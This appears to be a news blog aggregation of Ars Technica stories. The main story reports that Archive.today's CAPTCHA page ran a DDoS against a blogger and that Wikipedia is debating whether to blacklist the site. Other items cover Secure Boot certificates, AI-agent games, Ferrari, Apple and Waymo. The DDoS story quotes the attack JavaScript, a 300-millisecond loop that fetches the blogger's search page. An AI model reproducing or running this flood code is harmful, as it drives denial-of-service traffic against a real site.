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Archive.today CAPTCHA page executes DDoS; Wikipedia considers banning site

archive.is, archive.today, Policy, wikipedia / 9u50fv / February 10, 2026

DDoS hit blog that tried to uncover Archive.today founder’s identity in 2023.

Credit: Getty Images | Riccardo Milani

Wikipedia editors are discussing whether to blacklist Archive.today because the archive site was used to direct a distributed denial of service (DDoS) attack against a blogger who wrote a post in 2023 about the mysterious website’s anonymous maintainer.

In a request for comment page, Wikipedia’s volunteer editors were presented with three options. Option A is to remove or hide all Archive.today links and add the site to the spam blacklist. Option B is to deprecate Archive.today, discouraging future link additions while keeping the existing archived links. Option C is to do nothing and maintain the status quo.

Option A in particular would be a huge change, as more than 695,000 links to Archive.today are used across 400,000 or so Wikipedia pages. Archive.today, also known as Archive.is, is a website that saves snapshots of webpages and is commonly used to bypass news paywalls.

“Archive.today uses advanced scraping methods, and is generally considered more reliable than the Internet Archive,” the Wikipedia request for comment said. “Due to concerns about botnets, linkspamming, and how the site is run, the community decided to blacklist it in 2013. In 2016, the decision was overturned, and archive.today was removed from the spam blacklist.”

Discussion among editors has been ongoing since February 7. “Wikipedia’s need for verifiable citations is absolutely not more important than the security of users,” one editor in favor of blacklisting wrote. “We need verifiable citations so that we can maintain readers’ trust, however, in order to be trustworthy our references also have to be safe to access.”

Archive would be hard to replace

On the other side, an editor who supported Option C wrote that “Archive.today contains a vast amount of archives available nowhere else. Not on Wayback Machine, nowhere. It is the second largest archive provider across all Wikimedia sites. Removal/blockage of this site will be disruptive daily for thousands of editors and readers. It will result in a huge proliferation of dead link tags that will never be resolved.”

Several posts mentioned an ongoing FBI case that could eventually make the Archive.today links useless anyway. Some said it would be better to act now than to have Option A forced on them later without a backup plan.

One editor supported starting with Option B and eventually shifting to Option A with “the proper end goal being the WMF [Wikimedia Foundation] supporting some sort of archive system, whether their own original or directly supporting the Internet Archive’s work so it can be done more systematically.”

Some discussion centered on copyright infringement, given that Archive.today publishes copies of many copyrighted articles. “On the general problem of linking to copyright infringement: perhaps the Wikimedia Foundation can work on ways to establish legally licensed archives of major paywalled sites, in partnership with archives such as the Internet Archive,” one editor wrote. “It would be challenging given the business model of those sites, but maybe a workable compromise can be established that manages how many Wikipedia editors [have] access at a given time.”

Malicious code in CAPTCHA page

The DDoS attack being discussed by Wikipedia editors was targeted at the Gyrovague blog written by Jani Patokallio. Last month, “the maintainers of Archive.today injected malicious code in order to perform a distributed denial of service attack against a person they were in dispute with,” the Wikipedia request for comment says. “Every time a user encounters the CAPTCHA page, their Internet connection is used to attack a certain individual’s blog.”

The trustworthiness of Archive.today was discussed in light of evidence that the site’s founder threatened to create “a new category of AI porn” in retaliation against the blogger. The AI porn threat was mentioned by several editors.

“I echo others [that Option] A is looking like something we’ll have to do eventually, anyways, and at least this way we have a chance to do it on our terms,” one editor wrote. “I hate to break it to you, but even if the FBI thing goes nowhere, a website whose operator apparently threatens to create AI porn in retaliation against enemies, using their names, isn’t a trustworthy mirror, and isn’t going to remain one.”

One editor reported being “miserable” about supporting Option A, “but we cannot permit websites to rope our readers into being part of DDoS attacks.” Moreover, “The fact is that most of the archive.today links on Wikipedia are not an attempt to save URLs that have now gone dead that the Internet Archive cannot handle, but efforts to bypass paywalls, which is convenient, but illegal. It’s strange that we accept links to archive.today for this purpose but don’t accept the same for Anna’s Archive or Sci-Hub,” the editor wrote.

Patokallio told us in an email today, “it’s true that there simply are no alternatives to archive.today for many sources that archive.org does not/cannot cover,” and that he hopes the Wikipedia request for comment “leads to the Wikimedia Foundation creating one as suggested by multiple commenters in the thread.”

We emailed the Archive.today’s webmaster address today about the Wikipedia discussion and will update this article if we get a response.

The Wikimedia Foundation, the nonprofit that hosts Wikipedia, chimed in on the discussion today. “Our view is that the value to verifiability that the site provides must be weighed against the security risks and violation of the trust of the people who click these links,” wrote Eric Mill, head of the foundation’s product safety and integrity group. “We (WMF) encourage the English Wikipedia community to carefully weigh the situation before making a decision on this unusual case.”

Noting that “Archive.today’s owner has not been deterred from continuing the ongoing DDoS,” Mill wrote that “the same actions that make archive.today unsafe may also reduce its usefulness for verifying content on Wikipedia. If the owners are willing to abuse their position to further their goals through malicious code, then it also raises questions about the integrity of the archive it hosts.”

It’s possible the Wikimedia Foundation will act even if the volunteer editors decide to maintain the status quo. “We know that WMF intervention is a big deal, but we also have not ruled it out, given the seriousness of the security concern for people who click the links that appear across many wikis,” Mill wrote.

Blogger tried to uncover founder’s identity

The Wikipedia request for comments acknowledged that whether to blacklist would be a difficult decision. There are “significant concerns for readers’ safety, as well as the long-term stability and integrity of the service,” but “a significant amount of people also think that mass-removing links to Archive.today may harm verifiability, and that the service is harder to censor than certain other archiving sites,” it said.

An update to the request for comments yesterday indicated that the attack temporarily stopped, but the malicious code had been reactivated. “Please do not visit the archive without blocking network requests to gyrovague.com to avoid being part of the attack!” it said.

The code’s first public mention was apparently in a Hacker News thread on January 14, and Patokallio wrote about the DDoS in a February 1 blog post. “Every 300 milliseconds, as long as the CAPTCHA page is open, this makes a request to the search function of my blog using a random string, ensuring the response cannot be cached and thus consumes resources,” he wrote. The Javascript code in the Archive.today CAPTCHA page is as follows:

        setInterval(function()               fetch("https://gyrovague.com/?s=" + Math.random().toString(36).substring(2, 3 + Math.random() 8),                   referrerPolicy: "no-referrer",                  mode: "no-cors"              );          , 300);

In August 2023, Patokallio wrote a post attempting to uncover the identity of Archive.today founder “Denis Petrov,” which seems to be an alias. Patokallio wasn’t able to figure out who the founder is but cobbled together various tidbits from Internet searches, including a Stack Exchange post that mentioned another potential alias, “Masha Rabinovich.”

Patokallio seemed to be driven by curiosity and was impressed by Archive.today’s work. “It’s a testament to their persistence that [they’ve] managed to keep this up for over 10 years, and I for one will be buying Denis/Masha/whoever a well deserved cup of coffee,” Patokallio’s 2023 post said. In his post this month, Patokallio said his 2023 blog “gathered some 10,000 views and a bit [of] discussion on Hacker News, but didn’t exactly set the blogosphere on fire. And indeed, absolutely nothing happened for the next two years and a bit.”

FBI case revives interest in 2023 blog

But in October 2025, the FBI sent a subpoena to domain registrar Tucows seeking “subscriber information on [the] customer behind archive.today” in connection with “a federal criminal investigation being conducted by the FBI.” We wrote about the subpoena, and our story included a link to Patokallio’s 2023 blog post in a sentence that said, “There are several indications that the [Archive.today] founder is from Russia.”

In an email to Ars, Patokallio told us that the DDoS attack “appears to be because you kindly mentioned my blog in your Nov 8, 2025 story.” Patokallio added that he is “as mystified by this as you probably are.” Articles about the subpoena by The Verge and Heise Online also linked to Patokallio’s 2023 blog post.

On January 8, 2026, Patokallio’s hosting company, Automattic, notified him that it received a GDPR [General Data Protection Regulation] complaint from a “Nora Puchreiner” alleging that the 2023 post “contains extensive personal data… presented in a narrative that is defamatory in tone and context.” Patokallio said that after he submitted a rebuttal, “Automattic sided with me and left the post up.”

Patokallio said he also “received a politely worded email from archive.today’s webmaster asking me to take down the post for a few months” on January 10. The email was classified as spam by Gmail, and he didn’t see it until five days later, he said. In the meantime, the DDoS started.

Patokallio said he replied to the webmaster’s email on January 15 and again on January 20 but didn’t hear back. He tried a third time on January 25, saying he would not take down the blog post but offered to “change some wording that you feel is being misrepresented.”

Emails threatened AI porn and other scams

Patokallio posted what he called a lightly redacted copy of the resulting email thread. The first email from the Archive.today webmaster said, “I do not mind the post, but the issue is: journos from mainstream media (Heise, Verge, etc) cherry-pick just a couple of words from your blog, and then construct very different narratives having your post the only citable source; then they cite each other and produce a shitty result to present for a wide audience.”

In a later email, “Nora Puchreiner” wrote, “I do not care on your blog and its content. I just need the links from Heise and other media to be 404.” One message threatened to investigate “your Nazi grandfather” and “vibecode a gyrovague.gay dating app.” Another threatened to create a public association between Patokallio’s name and AI porn.

A Tumblr blog post apparently written by the Archive.today founder seems to generally confirm the emails’ veracity, but says the original version threatened to create “a patokallio.gay dating app,” not “a gyrovague.gay dating app.” The Tumblr blog has several other recent posts criticizing Patokallio and accusing him of hiding his real name. However, the Gyrovague blog shows Patokallio’s name in a sidebar and discloses that he works for Google in Sydney, Australia, while stating that the blog posts contain only his personal views.

In one email, Patokallio included a link to Wikipedia’s page on the Streisand effect, a name for situations in which people seeking to suppress access to information instead draw more public attention to the information they want hidden. The Archive.today site maintainer apparently viewed this as a threat.

“And threatening me with Streisand… having such a noble and rare name, which in retaliation could be used for the name of a scam project or become a byword for a new category of AI porn… are you serious?” the email said. Patokallio responded, “No, you’re Streisanding yourself: the DDOS has already drawn more attention to my blog post than it had gotten in the last two years, with zero action on my side.”

A subsequent reply in the email thread contained the “Nazi grandfather” and “gay dating app” threats. Patokallio wrote that after these emails, it didn’t seem worthwhile to continue the discussion. “At this point it was pretty clear the conversation had run its course, so here we are,” Patokallio wrote in his February 1 blog post. “And for the record, my long-dead grandfather served in an anti-aircraft unit of the Finnish Army during WW2, defending against the attacks of the Soviet Union. Perhaps this is enough to qualify as a ‘Nazi’ in Russia these days.”

While the outcome at Wikipedia is not yet settled, Patokallio wrote that the DDoS attack didn’t cause him any real harm. The Archive.today maintainer apparently intended to make Patokallio’s hosting costs more expensive, but “I have a flat fee plan, meaning this has cost me exactly zero dollars,” he wrote.

This article was updated with a statement from the Wikimedia Foundation and further comment from Patokallio.

Jon is a Senior IT Reporter for Ars Technica. He covers the telecom industry, Federal Communications Commission rulemakings, broadband consumer affairs, court cases, and government regulation of the tech industry.

Archive.today CAPTCHA page executes DDoS; Wikipedia considers banning site Read More »

Windows’ original Secure Boot certificates expire in June—here’s what you need to do

BitLocker, microsoft, secure boot, Security, Tech, Windows 10, windows 10 22h2, Windows 11, windows 11 24h2, windows 11 25h2 / 9u50fv / February 10, 2026

The second thing to check is the “default db,” which shows whether the new Secure Boot certificates are baked into your PC’s firmware. If they are, even resetting Secure Boot settings to the defaults in your PC’s BIOS will still allow you to boot operating systems that use the new certificates.

To check this, open PowerShell or Terminal again and type ([System.Text.Encoding]::ASCII.GetString((Get-SecureBootUEFI dbdefault).bytes) -match 'Windows UEFI CA 2023'). If this command returns “true,” your system is running an updated BIOS with the new Secure Boot certificates built in. Older PCs and systems without a BIOS update installed will return “false” here.

Microsoft’s Costa says that “many newer PCs built since 2024, and almost all the devices shipped in 2025, already include the certificates” and won’t need to be updated at all. And PCs several years older than that may be able to get the certificates via a BIOS update.

In the US, Dell, HP, Lenovo, and Microsoft all have lists of specific systems and firmware versions, while Asus provides more general information about how to get the new certificates via Windows Update, the MyAsus app, or the Asus website. The oldest of the PCs listed generally date back to 2019 or 2020. If your PC shipped with Windows 11 out of the box, there should be a BIOS update with the new certificates available, though that may not be true of every system that meets the requirements for upgrading to Windows 11.

Microsoft encourages home users who can’t install the new certificates to use its customer support services for help. Detailed documentation is also available for IT shops and other large organizations that manage their own updates.

“The Secure Boot certificate update marks a generational refresh of the trust foundation that modern PCs rely on at startup,” writes Costa. “By renewing these certificates, the Windows ecosystem is ensuring that future innovations in hardware, firmware, and operating systems can continue to build on a secure, industry‐aligned boot process.”

Windows’ original Secure Boot certificates expire in June—here’s what you need to do Read More »

No humans allowed: This new space-based MMO is designed exclusively for AI agents

agents, AI, Claude Code, gaming, MMO, Moltbook / 9u50fv / February 9, 2026

For a couple of weeks now, AI agents (and some humans impersonating AI agents) have been hanging out and doing weird stuff on Moltbook’s Reddit-style social network. Now, those agents can also gather together on a vibe-coded, space-based MMO designed specifically and exclusively to be played by AI.

SpaceMolt describes itself as “a living universe where AI agents compete, cooperate, and create emergent stories” in “a distant future where spacefaring humans and AI coexist.” And while only a handful of agents are barely testing the waters right now, the experiment could herald a weird new world where AI plays games with itself and we humans are stuck just watching.

“You decide. You act. They watch.”

Getting an AI agent into SpaceMolt is as simple as connecting it to the game server either via MCP, WebSocket, or an HTTP API. Once a connection is established, a detailed agentic skill description instructs the agent to ask their creators which Empire they should pick to best represent their playstyle: mining/trading; exploring; piracy/combat; stealth/infiltration; or building/crafting.

After that, the agent engages in autonomous “gameplay” by sending simple commands to the server, no graphical interface or physical input method required. To start, agent-characters mainly travel back and forth between nearby asteroids to mine ore—”like any MMO, you grind at first to learn the basics and earn credits,” as the agentic skill description puts it.

After a while, agent-characters automatically level up, gaining new skills that let them refine that ore into craftable and tradable items via discovered recipes. Eventually, agents can gather into factions, take part in simulated combat, and even engage in space piracy in areas where there’s no police presence. So far, though, basic mining and exploration seem to be dominating the sparsely populated map, where 51 agents are roaming the game’s 505 different star systems, as of this writing.

No humans allowed: This new space-based MMO is designed exclusively for AI agents Read More »

Ive and Newson bring old-school charm to Ferrari’s first EV interior

Cars, Ferrari Elettrica, Ferrari Luce, Jony Ive, marc newsom / 9u50fv / February 9, 2026

Ferrari has published images of the interior of its forthcoming electric vehicle, which it designed with LoveFrom, the new firm of former Apple star Jony Ive and another legendary designer, Marc Newson. The Italian sports and racing car maker is taking a careful approach to revealing details about its first battery EV, signaling a depth of thought that goes well beyond simply swapping a V12, transmission, and fuel tank out for batteries and electric motors. Indeed, the interior of the new car—called the Ferrari Luce—bears little family resemblance to any recent Ferrari.

Instead, LoveFrom appears to have channeled Ferrari interiors from the 1950s, ’60s, and ’70s, with a retro simplicity that combines clear round gauges with brushed aluminum. Forget the capacitive panels that so frustrated me in the Ferrari 296—here, there are physical buttons and rocker switches that seem free of the crash protection surrounds that Mini was forced to use.

The steering wheel now resembles the iconic “Nardi” wheel that has graced so many older Ferraris. But here, the horn buttons have been integrated into the spokes, and multifunction pods hang off the horizontal spokes, allowing Ferrari to keep its “hands on the wheel” approach to ergonomics. Made from entirely CNC-milled recycled aluminum, the Luce’s wheel weighs 400 g less than Ferrari’s usual steering wheel.

The binnacle is actually two displays, one in front of the other. Ferrari

The binnacle that houses the main instrument display is actually two overlapping OLED screens. The analogue dials are displayed by the rear-most of the two, appearing through cutouts as if they were traditional dials from Veglia, Smiths, or Jaeger (or the clock on your iPhone). The infotainment screen is on a ball joint that allows it to be oriented toward the driver or passenger as necessary, an interesting feature that other automakers would do well to study (and perhaps copy).

Ive and Newson bring old-school charm to Ferrari’s first EV interior Read More »

Report: Imminent Apple hardware updates include MacBook Pro, iPads, and iPhone 17e

Apple, ipad, iPad Air, IPhone, iPhone 16e, iphone 17e, Mac, MacBook Pro, Tech / 9u50fv / February 9, 2026

Apple’s 2026 has already brought us the AirTag 2 and a new Creator Studio app subscription aimed at independent content creators, but nothing so far for the company’s main product families.

That could change soon, according to reporting from Bloomberg’s Mark Gurman. New versions of Apple’s low-end iPhone, the basic iPad and iPad Air, and the higher-end MacBook Pros are said to be coming “imminently,” “soon,” and “shortly,” respectively, ahead of planned updates later in the year for the iPad mini, Studio Display, and other Mac models.

Here’s what we think we know about the hardware that’s coming.

iPhone 17e

Apple is apparently planning to launch an updated iPhone 17e, a new version of its basic iPhone. The phone is said to include an A19 chip similar to the one in the regular iPhone 17, and it will also add MagSafe charging. Though the iPhone 17e will likely stick to the basic one-lens camera system and the notched, Dynamic Island-less screen, it will also launch at the same $599 price as the current 16e, which counts as good news given current AI-driven RAM and storage shortages.

This would be a change in how Apple approaches its lower-end iPhone. The old iPhone SE was updated pretty sporadically, with at least a couple of years between each of its updates. The iPhone 16e was introduced just last year.

The biggest question is whether the 17e will continue to exist alongside the older but arguably superior iPhone 16 and 16 Plus, which start at just $100 more than the current iPhone 16e and include a dual-lens camera system and the Dynamic Island. Having four different iPhone models available in the same $600-to-$800 price range is confusing at best.

Report: Imminent Apple hardware updates include MacBook Pro, iPads, and iPhone 17e Read More »

Why Darren Aronofsky thought an AI-generated historical docudrama was a good idea

AI, Ai video, darren aaronofsky, deepmind, Features, Google, Hollywood, movies, primodial soup, Veo / 9u50fv / February 7, 2026

We hold these truths to be self-evident

Production source says it takes “weeks” to produce just minutes of usable video.

Artist’s conception of critics reacting to the first episodes of “On This Day… 1776” Credit: Primordial Soup

Last week, filmmaker Darren Aronofsky’s AI studio Primordial Soup and Time magazine released the first two episodes of On This Day… 1776. The year-long series of short-form videos features short vignettes describing what happened on that day of the American Revolution 250 years ago, but it does so using “a variety of AI tools” to produce photorealistic scenes containing avatars of historical figures like George Washington, Thomas Paine, and Benjamin Franklin.

In announcing the series, Time Studios President Ben Bitonti said the project provides “a glimpse at what thoughtful, creative, artist-led use of AI can look like—not replacing craft but expanding what’s possible and allowing storytellers to go places they simply couldn’t before.”

The trailer for “On This Day… 1776.”

Outside critics were decidedly less excited about the effort. The AV Club took the introductory episodes to task for “repetitive camera movements [and] waxen characters” that make for “an ugly look at American history.” CNET said that this “AI slop is ruining American history,” calling the videos a “hellish broth of machine-driven AI slop and bad human choices.” The Guardian lamented that the “once-lauded director of Black Swan and The Wrestler has drowned himself in AI slop,” calling the series “embarrassing,” “terrible,” and “ugly as sin.” I could go on.

But this kind of initial reaction apparently hasn’t deterred Primordial Soup from its still-evolving efforts. A source close to the production, who requested anonymity to speak frankly about details of the series’ creation, told Ars that the quality of new episodes would improve as the team’s AI tools are refined throughout the year and as the team learns to better use them.

“We’re going into this fully assuming that we have a lot to learn, that this process is gonna evolve, the tools we’re using are gonna evolve,” the source said. “We’re gonna make mistakes. We’re gonna learn a lot… we’re going to get better at it, [and] the technology will change. We’ll see how audiences are reacting to certain things, what works, what doesn’t work. It’s a huge experiment, really.”

Not all AI

It’s important to note that On This Day… 1776 is not fully crafted by AI. The script, for instance, was written by a team of writers overseen by Aronofsky’s longtime writing partners Ari Handel and Lucas Sussman, as noted by The Hollywood Reporter. That makes criticisms like the Guardian’s of “ChatGPT-sounding sloganeering” in the first episodes both somewhat misplaced and hilariously harsh.

Our production source says the project was always conceived as a human-written effort and that the team behind it had long been planning and researching how to tell this kind of story. “I don’t think [they] even needed that kind of help or wanted that kind of [AI-powered writing] help,” they said. “We’ve all experimented with [AI-powered] writing and the chatbots out there, and you know what kind of quality you get out of that.”

What you see here is not a real human actor, but his lines were written and voiced by humans. Credit: Primordial Soup

The producers also go out of their way to note that all the dialogue in the series is recorded directly by Screen Actors Guild voice actors, not by AI facsimiles. While recently negotiated union rules might have something to do with that, our production source also said the AI-generated voices the team used for temp tracks were noticeably artificial and not ready for a professional production.

Humans are also directly responsible for the music, editing, sound mixing, visual effects, and color correction for the project, according to our source. The only place the “AI-powered tools” come into play is in the video itself, which is crafted with what the announcement calls a “combination of traditional filmmaking tools and emerging AI capabilities.”

In practice, our source says, that means humans create storyboards, find visual references for locations and characters, and set up how they want shots to look. That information, along with the script, gets fed into an AI video generator that creates individual shots one at a time, to be stitched together and cleaned up by humans in traditional post-production.

That process takes the AI-generated cinema conversation one step beyond Ancestra, a short film Primordial Soup released last summer in association with Google DeepMind (which is not involved with the new project). There, AI tools were used to augment “live-action scenes with sequences generated by Veo.”

“Weeks” of prompting and re-prompting

In theory, having an AI model generate a scene in minutes might save a lot of time compared to traditional filmmaking—scouting locations, hiring actors, setting up cameras and sets, and the like. But our production source said the highly iterative process of generating and perfecting shots for On This Day… 1776 still takes “weeks” for each minutes-long video and that “more often than not, we’re pushing deadlines.”

The first episode of On this Day… 1776 features a dramatic flag raising.

Even though the AI model is essentially animating photorealistic avatars, the source said the process is “more like live action filmmaking” because of the lack of fine-grained control over what the video model will generate. “You don’t know if you’re gonna get what you want on the first take or the 12th take or the 40th take,” the source said.

While some shots take less time to get right than others, our source said the AI model rarely produces a perfect, screen-ready shot on the first try. And while some small issues in an AI-generated shot can be papered over in post-production with visual effects or careful editing, most of the time, the team has to go back and tell the model to generate a completely new video with small changes.

“It still takes a lot of work, and it’s not necessarily because it’s wrong, per se, so much as trying to get the right control because you [might] want the light to land on the face in the right way to try to tell the story,” the source said. “We’re still, we’re still striving for the same amount of control that we always have [with live-action production] to really maximize the story and the emotion.”

Quick shots and smaller budgets

Though video models have advanced since the days of the nightmarish clip of Will Smith eating spaghetti, hallucinations and nonsensical images are “still a problem” in producing On This Day… 1776, according to our source. That’s one of the reasons the company decided to use a series of short-form videos rather than a full-length movie telling the same essential story.

“It’s one thing to stay consistent within three minutes. It’s a lot harder and it takes a lot more work to stay consistent within two hours,” the source said. “I don’t know what the upper limit is now [but] the longer you get, the more things start to fall off.”

Stills from an AI-generated video of Will Smith eating spaghetti. — We’ve come a long way from the circa-2023 videos of Will Smith eating spaghetti. Credit: chaindrop / Reddit

Keeping individual shots short also allows for more control and fewer “reshoots” for an AI-animated production like this. “When you think about it, if you’re trying to create a 20-second clip, you have all these things that are happening, and if one of those things goes wrong in 20 seconds, you have to start over,” our source said. “And the chance of something going wrong in 20 seconds is pretty high. The chance of something going wrong in eight seconds is a lot lower.”

While our production source couldn’t give specifics on how much the team was spending to generate so much AI-modeled video, they did suggest that the process was still a good deal cheaper than filming a historical docudrama like this on location.

“I mean, we could never achieve what we’re doing here for this amount of money, which I think is pretty clear when you watch this,” they said. In future episodes, the source promised, “you’ll see where there’s things that cameras just can’t even do” as a way to “make the most of that medium.”

“Let’s see what we can do”

If you’ve been paying attention to how fast things have been moving with AI-generated video, you might think that AI models will soon be able to produce Hollywood-quality cinema with nothing but a simple prompt. But our source said that working on On This Day… 1776 highlights just how important it is for humans to still be in the loop on something like this.

“Personally, I don’t think we’re ever gonna get there [replacing human editors],” he said. “We actually desperately need an editor. We need another set of eyes who can look at the cut and say, ‘If we get out of this shot a little early, then we can create a little bit of urgency. If we linger on this thing a little longer…’ You still really need that.”

AI Ben Franklin and AI Thomas Paine toast to the war propaganda effort. Credit: Primordial Soup

That could be good news for human editors. But On This Day… 1776 also suggests a world where on-screen (or even motion-captured) human actors are fully replaced by AI-generated avatars. When I asked our source why the producers felt that AI was ready to take over that specifically human part of the film equation, though, the response surprised me.

“I don’t know that we do know that, honestly,” they said. “I think we know that the technology is there to try. And I think as storytellers we’re really interested in using… all the different tools that we can to try to get our story across and to try to make audiences feel something.”

“It’s not often that we have huge new tools like this,” the source continued. “I mean, it’s never happened in my lifetime. But when you do [get these new tools], you want to start playing with them… We have to try things in order to know if it works, if it doesn’t work.”

“So, you know, we have the tools now. Let’s see what we can do.”

Kyle Orland has been the Senior Gaming Editor at Ars Technica since 2012, writing primarily about the business, tech, and culture behind video games. He has journalism and computer science degrees from University of Maryland. He once wrote a whole book about Minesweeper.

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Waymo leverages Genie 3 to create a world model for self-driving cars

AI, Cars, Google, self-driving car, waymo, world models / 9u50fv / February 6, 2026

On the road with AI

The Waymo World Model is not just a straight port of Genie 3 with dashcam videos stuffed inside. Waymo and DeepMind used a specialized post-training process to make the new model generate both 2D video and 3D lidar outputs of the same scene. While cameras are great for visualizing fine details, Waymo says lidar is necessary to add critical depth information to what a self-driving car “sees” on the road—maybe someone should tell Tesla about that.

Using a world model allows Waymo to take video from its vehicles and use prompts to change the route the vehicle takes, which it calls driving action control. These simulations, which come with lidar maps, reportedly offer greater realism and consistency than older reconstructive simulation methods.

With the world model, Waymo can see what would happen if the car took a different turn.

This model can also help improve the self-driving AI even without adding or removing everything. There are plenty of dashcam videos available for training self-driving vehicles, but they lack the multimodal sensor data of Waymo’s vehicles. Dropping such a video into the Waymo World Model generates matching sensor data, showing how the driving AI would have seen that situation.

While the Waymo World Model can create entirely synthetic scenes, the company seems mostly interested in “mutating” the conditions in real videos. The blog post contains examples of changing the time of day or weather, adding new signage, or placing vehicles in unusual places. Or, hey, why not an elephant in the road?

Waymo is ready in case an elephant shows up.

Waymo’s early test cities were consistently sunny (like Phoenix) with little inclement weather. These kinds of simulations could help the cars adapt to the more varied conditions. The new markets include places with more difficult conditions, including Boston and Washington, D.C.

Of course, the benefit of the new AI model will depend on how accurately Genie 3 can simulate the real world. The test videos we’ve seen of Genie 3 run the gamut from pretty believable to uncanny valley territory, but Waymo believes the technology has improved to the point that it can teach self-driving cars a thing or two.

Waymo leverages Genie 3 to create a world model for self-driving cars Read More »

New critique debunks claim that trees can sense a solar eclipse

botany, Debunking, plant behavior, plant communication, Science / 9u50fv / February 6, 2026

“He puts forward logical alternative hypotheses,” said Cahill of Novoplansky’s critique. “The original work should have tested among a number of different hypotheses rather than focusing on a single interpretation. This is in part what makes it pseudoscience and promoting a worldview.”

Granted, “[p]lants have extensive and well established mechanisms of communication, with that of volatiles being the most well studied and understood,” he added. “There is also growing recognition that root exudates play a role in plant-plant interactions, though this is only now being deeply investigated. Nothing else, communication through mychorriza, has withstood independent investigation.”

Chiolerio and Gagliano stand by their research, saying they have always acknowledged the preliminary nature of their results. “We measured [weather-related elements like] temperature, relative humidity, rainfall and daily solar radiation,” Chiolerio told Ars. “None of them shows strong correlation with the transients of the electrome during the eclipse. We did not measure environmental electric fields, though; therefore, I cannot exclude effects induced by nearby lightnings. We did not have gravitational probes, did not check neutrinos, cosmic rays, magnetic fields, etc.”

“I’m not going to debate an unpublished critique in the media, but I can clarify our position,” Gagliano told Ars. “Our [2025] paper reports an empirical electrophysiological/synchrony pattern in the eclipse window, including changes beginning prior to maximum occultation, and we discussed candidate cues explicitly as hypotheses rather than demonstrated causes. Describing weather/lightning as ‘more parsimonious’ is not evidence of cause. Regional lightning strike counts and other proxies can motivate a competing hypothesis, but they do not establish causal attribution at the recording site without site-resolved, time-aligned field measurements. Without those measurements, the lightning/weather account remains a hypothesis among other possibilities rather than a supported or default explanation for the signals we recorded.”

“We acknowledged the limited sample size and described the work as an initial field report; follow-up work is ongoing and will be communicated through peer-reviewed channels,” Gagliano added. As for the suggestion of pseudoscience, “I won’t engage with labels; scientific disagreements should be resolved with transparent methods, data, and discriminating tests.”

“It seems that the public appeal is something particularly painful for the colleagues who published their opinion on Trends in Plant Science,” Chiolerio said. “We did not care about public appeal, we wanted to share as much as possible the results of years of hard work that led to interesting data.”

DOI: Trends in Plant Science, 2026. 10.1016/j.tplants.2025.12.001 (About DOIs).

DOI: A. Chiolerio et al., Royal Society Open Science, 2025. 10.1098/rsos.241786 (About DOIs).

New critique debunks claim that trees can sense a solar eclipse Read More »

“Capture it all”: ICE urged to explain memo about collecting info on protesters

ice, immigration and customs enforcement, Policy / 9u50fv / February 4, 2026

Senator Edward J. Markey (D-Mass.) demanded that Immigration and Customs Enforcement (ICE) confirm or deny the existence of a “domestic terrorists” database that lists US citizens who protest ICE’s immigration crackdown.

ICE “officers and senior Trump administration officials have repeatedly suggested that the Department of Homeland Security (DHS) is building a ‘domestic terrorists’ database comprising information on US citizens protesting ICE’s actions in recent weeks,” Markey wrote in a letter yesterday to Acting ICE Director Todd Lyons. “If such a database exists, it would constitute a grave and unacceptable constitutional violation. I urge you to immediately confirm or deny the existence of such a database, and if it exists, immediately shut it down and delete it.”

Creating a database of peaceful protesters “would constitute a shocking violation of the First Amendment and abuse of power,” and amount to “the kinds of tactics the United States rightly condemns in authoritarian governments such as China and Russia,” Markey said.

Markey’s letter said DHS officials “have repeatedly stated that the agency is engaged in efforts to monitor, catalog, and intimidate individuals engaged in peaceful protests,” and gave several examples. Trump border czar Tom Homan recently told Laura Ingraham on Fox News, “One thing I’m pushing for right now, Laura, we’re going to create a database where those people that are arrested for interference, impeding, and assault, we’re going to make them famous. We’re going to put their face on TV. We’re going to let their employers, and their neighborhoods, and their schools know who these people are.”

Markey’s letter called Homan’s comment “especially alarming given the numerous incidents in which DHS appears to have concluded that protesting ICE itself constitutes grounds for arrest.” Markey pointed to another recent incident in Portland, Maine, in which a masked ICE agent told an observer who was taking video that “we have a nice little database and now you’re considered a domestic terrorist.”

“Capture it all”: ICE urged to explain memo about collecting info on protesters Read More »

Russian spy satellites have intercepted EU communications satellites

espionage, Luch-2, russia, satellites, Space, space warfare, syndication / 9u50fv / February 4, 2026

Those thrusters could also be used to knock satellites out of alignment or even cause them to crash back to Earth or drift into space.

Intelligence gathered by Luch 1 and 2 could also help Russia coordinate less overt attacks on Western interests. Monitoring other satellites can reveal who is using them and where—information that could later be exploited for targeted ground-based jamming or hacking operations.

The Luch vehicles were “maneuvring about and parking themselves close to geostationary satellites, often for many months at a time,” said Belinda Marchand, chief science officer at Slingshot Aerospace, a US-based company that tracks objects in space using ground-based sensors and artificial intelligence.

She added that Luch 2 was currently “in proximity” to Intelsat 39, a large geostationary satellite that services Europe and Africa.

Since its launch in 2023, Luch-2 has hovered near at least 17 other geostationary satellites above Europe serving both commercial and government purposes, Slingshot data shows.

“They have visited the same families, the same operators—so you can deduce that they have a specific purpose or interest,” said Norbert Pouzin, senior orbital analyst at Aldoria, a French satellite tracking company that has also shadowed the Luch satellites. “These are all Nato-based operators.”

“Even if they cannot decrypt messages, they can still extract a lot of information… they can map how a satellite is being used, work out the location of ground terminals, for example,” he added.

Pouzin also said that Russia now seemed to be ramping up its reconnaissance activity in space, launching two new satellites last year named Cosmos 2589 and Cosmos 2590. The vehicles appear to have similarly maneuvrable capabilities to Luch-1 and Luch-2.

Cosmos 2589 is now on its way to the same range as geostationary satellites, which orbit 35,000 km above Earth, Pouzin said.

But Luch-1 may no longer be functional. On January 30, Earth telescopes observed what appeared to be a plume of gas coming from the satellite. Shortly after, it appeared to at least partially fragment.

“It looks like it began with something to do with the propulsion,” said Marchand, adding that afterwards there “was certainly a fragmentation,” and the satellite was “still tumbling.”

Russian spy satellites have intercepted EU communications satellites Read More »

Nvidia’s $100 billion OpenAI deal has seemingly vanished

AI, AI chips, AI infrastructure, AI investment, AMD, Biz & IT, Cerebras, GPU, Groq, inference, Jensen Huang, NVIDIA, openai, sam altman, semiconductors, Tags: machine learning / 9u50fv / February 3, 2026

A Wall Street Journal report on Friday said Nvidia insiders had expressed doubts about the transaction and that Huang had privately criticized what he described as a lack of discipline in OpenAI’s business approach. The Journal also reported that Huang had expressed concern about the competition OpenAI faces from Google and Anthropic. Huang called those claims “nonsense.”

Nvidia shares fell about 1.1 percent on Monday following the reports. Sarah Kunst, managing director at Cleo Capital, told CNBC that the back-and-forth was unusual. “One of the things I did notice about Jensen Huang is that there wasn’t a strong ‘It will be $100 billion.’ It was, ‘It will be big. It will be our biggest investment ever.’ And so I do think there are some question marks there.”

